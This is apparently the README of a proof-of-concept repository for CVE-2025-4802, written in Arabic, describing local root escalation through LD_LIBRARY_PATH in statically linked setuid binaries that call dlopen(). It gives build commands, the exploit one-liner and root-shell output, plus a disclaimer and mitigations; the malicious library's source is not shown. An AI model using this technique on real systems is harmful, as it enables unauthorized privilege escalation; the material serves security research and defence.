CVE-2025-4802 — إثبات المفهوم

⚠️ إخلاء مسؤولية: هذا المستودع مخصص للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. قد يؤدي سوء الاستخدام إلى مخالفة القوانين واللوائح.

ملخص CVE

الوصف

ثغرة في مكتبة GNU C (glibc) الإصدارات 2.27 إلى 2.38 تسمح للمهاجم باستغلال متغير البيئة LD_LIBRARY_PATH في البرامج الثنائية setuid المترجمة بشكل ثابت التي تستدعي dlopen().

عادةً، يقوم المحمل الديناميكي بتنظيف LD_LIBRARY_PATH لبرامج setuid. ومع ذلك، فإن البرامج الثنائية المترجمة بشكل ثابت تتجاوز المحمل الديناميكي بالكامل، لذلك لا يتم مسح LD_LIBRARY_PATH أبدًا. عندما يستدعي مثل هذا البرنامج الثنائي dlopen() (مباشرة، أو بشكل غير مباشر عبر setlocale() أو دوال NSS مثل getaddrinfo())، تحل glibc المكتبات المشتركة باستخدام LD_LIBRARY_PATH الذي يتحكم فيه المهاجم، مما يتيح تنفيذ تعليمات برمجية عشوائية بامتيازات مرتفعة.

كيف يعمل

1. برنامج ثنائي setuid-root مُجمَّع بشكل ثابت يستدعي dlopen("myso.so", ...) لتحميل كائن مشترك بالاسم (وليس بمسار مطلق).
2. نظرًا لأن البرنامج الثنائي مرتبط بشكل ثابت، فإن المحمل الديناميكي (ld-linux.so) لا يعمل أبدًا، لذلك لا يتم تنظيف LD_LIBRARY_PATH.
3. يقوم المهاجم بإنشاء كائن مشترك خبيث (myso.so) يصدر نفس الرمز hello() ولكنه يطلق شيل جذر (root shell).
4. يقوم المهاجم بتعيين LD_LIBRARY_PATH ليشير إلى الدليل الذي يحتوي على المكتبة الخبيثة.
5. عندما يتم تشغيل البرنامج الثنائي setuid، فإنه يقوم بتحميل مكتبة المهاجم بدلاً من المكتبة الشرعية، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية كجذر.

هيكل المستودع

.
├── main.c                          # مصدر البرنامج الثنائي setuid الضعيف
├── myso.c                          # كائن مشترك شرعي (آمن)
├── evil_library/
│   └── evilso.c                    # كائن مشترك خبيث (يطلق شيل جذر)
├── proof_of_concept_screenshot.png # لقطة شاشة طرفية للاستغلال
├── proof_of_concept_video.mp4      # شرح فيديو
├── Makefile                        # أتمتة البناء
└── README.md

المتطلبات الأساسية

• نظام التشغيل: Fedora 39 (أو أي توزيعة لينكس مع glibc ضعيف)
• إصدار glibc: 2.27 – 2.38 (تحقق باستخدام ldd --version)
• الحزم: gcc, make
• وصول الجذر لتعيين بت setuid

خطوات إعادة الإنتاج

1. بناء كل شيء

make all

أو يدويًا:

# بناء الكائن المشترك الشرعي
gcc -shared -o myso.so -fPIC myso.c

# بناء البرنامج الثنائي الضعيف (مرتبط بشكل ثابت)
gcc -static -o main main.c -ldl

# بناء الكائن المشترك الخبيث
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. تعيين بت Setuid (يتطلب صلاحيات الجذر)

sudo chown root:root main
sudo chmod u+s main

3. التشغيل العادي (سلوك آمن)

./main

الإخراج المتوقع:

 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. الاستغلال باستخدام LD_LIBRARY_PATH (سلوك خبيث)

LD_LIBRARY_PATH=./evil_library ./main

الإخراج المتوقع:

 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

يقوم البرنامج الثنائي بتحميل myso.so الخاص بالمهاجم من evil_library/ بدلاً من الشرعي، مما يطلق شيل جذر.

إثبات المفهوم

يتوفر أيضًا شرح فيديو: proof_of_concept_video.mp4

التخفيف

• قم بترقية glibc إلى إصدار مصحح (> 2.38)
• تجنب الربط الثابت للبرامج الثنائية setuid التي تستخدم dlopen()
• استخدم المسارات المطلقة في استدعاءات dlopen() بدلاً من أسماء المكتبات المجردة
• قم بإسقاط الامتيازات قبل استدعاء dlopen()
• استخدم أعلام تقوية المترجم/الرابط وتجنب setuid حيثما أمكن

الموارد

• NVD — CVE-2025-4802